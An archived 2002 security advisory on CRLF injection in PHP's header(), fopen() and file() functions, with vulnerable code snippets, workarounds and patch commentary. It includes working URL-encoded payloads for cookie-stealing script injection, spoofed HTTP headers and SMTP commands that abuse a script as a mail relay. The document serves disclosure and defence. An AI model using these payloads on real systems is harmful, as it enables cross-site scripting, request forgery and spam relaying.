9th Sep 2002 [SBWID-5672]
COMMAND
PHP header() CRLF Injection
SYSTEMS AFFECTED
PHP 4.1.2, 4.2.2, 4.2.3 possibly others
PROBLEM
Matthew Murphy [mattmurphy@kc.rr.com] found :
PHP's header() function is used to modify HTTP header information by
specifying a header line, such as this:
<?php header("Location: http://www.yahoo.com/"); ?>
It is commonplace to see things such as this:
--- REDIR.PHP ---
<?php header("Location: $_GET['$url']"); ?>
--- REDIR.PHP ---
http://localhost/redir.php?url=%68%74%74%70%3A%2F%2F%77%77%77%2E%79%61%68%6F
%6F%2E%63%6F%6D%2F%0D%0A%0D%0A%3C%53%43%52%49%50%54%3E%61%6C%65%72%74%28%64%
6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29%3C%2F%53%43%52%49%50%54%3E%3C%2
1%2D%2D
Will cause a series of lines to be produced:
HTTP/1.1 302 Found
Server: Xitami
Date: Sat, 07 Sep 2002 21:50:17 GMT
Content-length: 96
Content-type: text/html
X-powered-by: PHP/4.2.3
{Location: http://www.yahoo.com/
<SCRIPT>alert(document.cookie)</SCRIPT><!--} <-- See our code in between the brackets
Content-type: text/html
The HTML produced is "broken" -- that is, it doesn't comply to RFC
standards, because it doesn't have a "-->" tag. I did this to supress
the stupid "Content-type" header that PHP was dumping in the response.
By using this, attackers can perform cross-site scripting attacks or
initiate downloads, in rare cases (via HTTP headers, such as
content-dispostion, etc.)
Update (10 september 2002)
======
Ulf Harnhammar adds [ulfh@update.uu.se] [http://www.metaur.nu] :
PHP has several functions that take filenames as one of their
arguments: fopen(), file() and some others. If allow_url_fopen is set
to On in php.ini, those functions also accept URLs instead of regular
files, and they connect to the server in question with the correct
protocol. This functionality is vulnerable to some CRLF Injection
attacks.
1) We start with the simple attacks. Let's say that this PHP snippet is
saved as snippet.php:
<?php
echo '<pre>';
print_r(file("http://www.site1.st/api?sunnan=$sunnan&vind=$vind"));
echo '</pre>';
?>
If an attacker surfs to:
snippet.php?sunnan=visby&vind=gotland%20HTTP/1.0%0D%0AHost%3A%20www.
site2.st%0D%0AUser-Agent%3A%20Ulf/0.0%0D%0AReferer%3A%20http%3A%2F
%2Fwww.gnuheter.org%2F%0D%0ACookie%3A%20user%3Dulf%0D%0A%0D%0A
(should be on one line)
this HTTP query will be sent to www.site1.st:
GET /api?sunnan=visby&vind=gotland HTTP/1.0
Host: www.site2.st
User-Agent: Ulf/0.0
Referer: http://www.gnuheter.org/
Cookie: user=ulf
HTTP/1.0
Host: www.site1.st
User-Agent: PHP/4.1.2
As you can see, the real headers from PHP are sent as well, but the web
server ignores them, as we send two CRLFs before them to indicate that
the headers are over.
Using this technique, we can add arbitrary user agents, referers and
cookies. We can also break out of restrictions and access site2.st
instead of the site site1.st that snippet.php tries to restrict us to,
if site1.st and site2.st are virtual hosts on the same machine.
2) If the PHP script is even worse, like this one called dotcom.php:
<?php
$fp = fopen($url, 'r');
fpassthru($fp);
?>
we can connect to arbitrary ports and send (almost) arbitrary commands,
thus turning the dotcom.php script into a proxy and an open mail relay.
If we surf to:
dotcom.php?url=http%3A%2F%2Fmail.site1.st%3A25%2F+HTTP/1.0%0D%0AHELO+
my.own.machine%0D%0AMAIL+FROM%3A%3Cme%40my.own.machine%3E%0D%0ARCPT+
TO%3A%3Cinfo%40site1.st%3E%0D%0ADATA%0D%0Ai+will+never+say+the+word+
PROCRASTINATE+again%0D%0A.%0D%0AQUIT%0D%0A%0D%0A
(should be on one line)
the PHP interpreter will connect to mail.site1.st on port 25, and send
the following commands:
GET / HTTP/1.0
HELO my.own.machine
MAIL FROM:<me@my.own.machine>
RCPT TO:<info@site1.st>
DATA
i will never say the word PROCRASTINATE again
.
QUIT
HTTP/1.0
Host: mail.site1.st:25
User-Agent: PHP/4.1.2
Both PHP and the MTA will complain, but the mail is still sent.
SOLUTION
For more information about this group of problems, read Ulf Harnhammar
"CRLF Injection" paper, which is available at
http://online.securityfocus.com/archive/1/271515
Workarounds :
===========
One solution is to make sure that all variables that are used in this
type of URL are clean, by including this command in your PHP scripts:
$var = preg_replace('/\s+/', '', $var);
Another solution: if your scripts don't need to access URLs like files,
you can switch off that functionality by setting allow_url_fopen to Off
in php.ini.
Update (13 spetember 2002)
======
Stefan Esser [http://www.php.net], patched PHP for that purpose and
comments :
--snipp--
Your fopen() thing does only occur if the programmer does TWO stupid
things: A) pass user input directly to a function without proper
validation, B) pass an url to a function that is not an url. Any string
that contains control chars cannot be a valid url. Before you pass a
string that should be an url to any function you MUST urlencode() it.
No need for your reg expression at all.
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH